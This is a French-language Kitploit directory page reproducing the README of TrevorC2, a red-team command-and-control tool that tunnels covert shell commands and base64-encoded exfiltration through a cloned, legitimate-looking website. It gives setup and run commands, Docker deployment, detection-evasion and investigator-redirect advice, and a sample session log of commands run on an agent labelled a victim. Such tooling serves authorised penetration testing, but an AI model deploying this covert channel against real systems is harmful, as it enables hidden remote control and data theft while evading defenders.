Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
trevorc2 — TrevorC2 est un site Web légitime (consultable) qui tunnelise les communications client/serveur pour une exécution furtive de commandes. | Kitploit
Outils/GitHubGitHub/trustedsec/trevorc2
Sécurité WebTests d'IntrusionCommandement et ContrôleRed TeamingDéveloppement de Charges Utiles
GitHubtrustedsec/trevorc2

trevorc2

TrevorC2 est un site Web légitime (consultable) qui tunnelise les communications client/serveur pour une exécution furtive de commandes.

Voir le dépôt
1.3k282il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

trevorc2

TrevorC2 - Commandement et Contrôle via un Comportement Légitime sur HTTP

Écrit par : Dave Kennedy (@HackingDave) Site Web : https://www.trustedsec.com

Notez qu'il s'agit d'une version très précoce - une forte randomisation et un chiffrement seront bientôt ajoutés.

TrevorC2 est un modèle client/serveur pour masquer le commandement et le contrôle via un site web normalement consultable. La détection devient beaucoup plus difficile car les intervalles de temps sont différents et n'utilise pas de requêtes POST pour l'exfiltration de données.

root@kitploit:~
       ,  .'''''.  ...    ''''',  .'           
        ','     ,.MMMM;.;'      '.             
         ;;    ;MMMMMMMMM;     ;;'             
        :'M:  ;MMMMMMMMMMM;.  :M':             
        : M:  MMMMMMMMMMMMM:  :M  .           
       .' M:  MMMMMMMMMMMMM:  :M. ;           
       ; :M'  :MMMMMMMMMMMM'  'M: :           
       : :M: .;"MMMMMMMMM":;. ,M: :           
       :  ::,MMM;.M":::M.;MMM ::' :           
     ,.;    ;MMMMMM;:MMMMMMMM:    :,.         
     MMM.;.,MMMMMMMM;MMMMMMMM;.,;.MMM         
     M':''':MMMMMMMMM;MMMMMMMM: "': M         
     M.:   ;MMMMMMMMMMMMMMMMMM;   : M         
     :::   MMMMMMMMMMM;MMMMMMMM   ::M        
    ,'';   MMMMMMMMMMMM:MMMMMMM   :'".         
  ,'   :   MMMMMMMMMMMM:MMMMMMM   :   '.       
 '     :  'MMMMMMMMMMMMM:MMMMMM   ;     '     
 ,.....;.. MMMMMMMMMMMMM:MMMMMM ..:....;.     
 :MMMMMMMM MMMMMMMMMMMMM:MMMMMM MMMMMMMM:     
 :MM''':"" MMMMMMMMMMMMM:MMMMMM "": "'MM:     
  MM:   :  MMMMMMMMMMMMM:MMMMMM  ,'  :MM       
  'MM   :  :MMMMMMMMMMMM:MMMMM:  :   ;M:       
   :M;  :  'MMMMMMMMMMMMMMMMMM'  :  ;MM       
   :MM. :   :MMMMMMMMMM;MMMMM:   :  MM:       
    :M: :    MMMMMMMMM'MMMMMM'   : :MM'       
    'MM :    "MMMMMMM:;MMMMM"   ,' ;M"         
     'M  :    ""''':;;;'''""    :  M:         
     ;'  :     "MMMMMMMM;."     :  "".         
   ,;    :      :MMMMMMM:;.     :    '.       
  :'     :    ,MM'''""''':M:    :     ';       
 ;'      :    ;M'         MM.   :       ;.     

Il y a deux composants dans TrevorC2 - le client et le serveur. Le client peut être configuré pour être utilisé avec n'importe quoi. Dans cet exemple, il est codé en Python mais peut facilement être porté vers C#, PowerShell, ou ce que vous voulez. Actuellement, trevorc2_client.py supporte Windows, MacOS et Linux. Vous pouvez toujours compiler en bytecode celui pour Windows pour obtenir un exécutable, mais la préférence serait d'utiliser Windows sans avoir à déposer un exécutable comme stager.

Le fonctionnement du serveur consiste à cacher un paramètre juste avant le paramètre . C'est entièrement configurable, et il est recommandé de configurer tout pour être unique afin d'éviter la détection. Voici le flux de travail :

root@kitploit:~
1. trevor2_server.py - modifiez d'abord le fichier, et personnalisez le site web que vous voulez cloner, etc. Le serveur clonera un site web de votre choix et mettra en place un serveur. Ce serveur est consultable par n'importe qui et ressemble à un site web légitime. Dans le code source se trouve un paramètre qui (encore configurable) contient les instructions pour le client. Une fois qu'un client se connecte, il recherche ce paramètre, puis l'utilise pour exécuter des commandes.
2. trevor2_client.py - tout ce dont vous avez besoin dans une option configurable est la capacité d'appeler un site web, d'analyser quelques données de base, puis d'exécuter une commande et de placer les résultats dans un paramètre de chaîne de requête encodé en base64 vers le site. C'est tout, pas difficile. 
3. trevor2_client.ps1 - implémentation PowerShell de trevor2_client.py, cela vous permet d'utiliser PowerShell natif pour interagir avec Trevor2_Server.

Installation

pip install -r requirements.txt

Utilisation

Modifiez d'abord trevor2_server.py - changez les options de configuration et le site à cloner.

python trevor2_server.py

Ensuite, modifiez trevor2_client.py ou .ps1 - changez la configuration et le système auquel vous voulez qu'il communique.

python trevor2_client.py ou .\trevor2_client.ps1

Gestion des sessions

TrevorC2 permet de gérer plusieurs shells provenant de différents noms d'hôte. Le fonctionnement de TrevorC2 est d'identifier les nouveaux noms d'hôte comme des sessions. Vous pouvez interagir avec les sessions une fois que vous exécutez une commande. Si vous avez plusieurs sessions, vous pouvez taper une commande et interagir avec cette session en fonction du numéro de session stocké globalement.

Lors du premier démarrage de TrevorC2, vous pouvez taper help ou ? pour plus d'informations. L'utilisation de base de la commande est "list" qui liste tous les shells actifs ou aucun, ou "interact <session_id>" pour interagir avec le shell souhaité.

Vous pouvez toujours taper back/exit dans un shell, il restera actif et ne tuera pas le shell.

Exemple ci-dessous :

root@kitploit:~
root@stronghold:/home/relik/Desktop/git/trevorc2# python trevorc2_server.py 

TrevorC2 - Legitimate Website Covert Channel
Written by: David Kennedy (@HackingDave)
https://www.trustedsec.com
[*] Cloning website: https://www.google.com
[*] Site cloned successfully.
[*] Starting Trevor C2 Server...
[*] Next, enter the command you want the victim to execute.
[*] Client uses random intervals, this may take a few.
[*] Type help for usage. Example commands, list, interact.

Trevor C2 shell
trevorc2>help

Documented commands (type help <topic>):
========================================
exit  help  interact  list  servercmd

trevorc2>help list
Description: Lists all available agents
Usage: list

trevorc2>list
No available Agents. :-(

trevorc2>
*** Received connection from 127.0.0.1 and hostname stronghold with communication sid pSNIRFgTuZnCdHN for TrevorC2.

trevorc2>list
id  hostname                ip address        communication_sessionid
1   stronghold              127.0.0.1         pSNIRFgTuZnCdHN

trevorc2>help interact
Description: Starts an interactive shell with agent
Usage: interact <id>

trevorc2>interact 1
[*] Dropping into trevorc2 shell...
[*] Use exit or back to select other shells
stronghold:trevorc2>ifconfig
[*] Waiting for command to be executed, be patient, results will be displayed here...
[*] Received response back from client...
=-=-=-=-=-=-=-=-=-=-=
(HOSTNAME: stronghold
CLIENT: 127.0.0.1)
ens33     Link encap:Ethernet  HWaddr 00:0c:29:63:7c:67  
          inet addr:172.16.37.132  Bcast:172.16.37.255  Mask:255.255.255.0
          inet6 addr: fe80::4b6b:fb52:f109:a7af/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1400907 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2588882 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:835091244 (835.0 MB)  TX bytes:2623070556 (2.6 GB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:453640 errors:0 dropped:0 overruns:0 frame:0
          TX packets:453640 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:211565776 (211.5 MB)  TX bytes:211565776 (211.5 MB)


stronghold:trevorc2>back

trevorc2>help servercmd
Description: Run command on the server
Usage: servercmd <command>
Example: servercmd ifconfig

trevorc2>servercmd hostname
PwnServer

trevorc2>exit
[*] Exiting TrevorC2... 

Dockerfile

Utilise un Dockerfile basé sur Alpine pour déployer trevorC2, pratique pour un déploiement rapide sur les fournisseurs de cloud.
Exemple ci-dessous :

root@kitploit:~
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
# At this point, setting up docker-machine to remotly deploy works great
docker build -t trevorc2 . 
docker run -it -p 80:80 -p 443:443 trevorc2

Configuration des variables

Il est important de modifier les variables présentées dans chacun des scripts. En particulier SITE_PATH_QUERY et la clé de chiffrement. Je recommanderais également de regarder l'option REDIRECT. Au lieu de cloner un site web, vous avez une autre option qui redirigera le site victime qui pourrait naviguer sur le site pour enquêter vers le site légitime. En gros, quand quelqu'un visite le site, il sera simplement redirigé vers le site que vous voulez cloner. Changez le site cloné, par exemple de google vers un autre site, et activez la redirection.

TODO

Ajouter la possibilité d'une sortie de données de plus de 2048. La longueur du paramètre de chaîne de requête est limitée.

Ajouter le support do_POST pour l'exfiltration POST sur des données plus longues.

Ajouter les fonctionnalités de téléchargement/téléversement.

Télécharger l’outil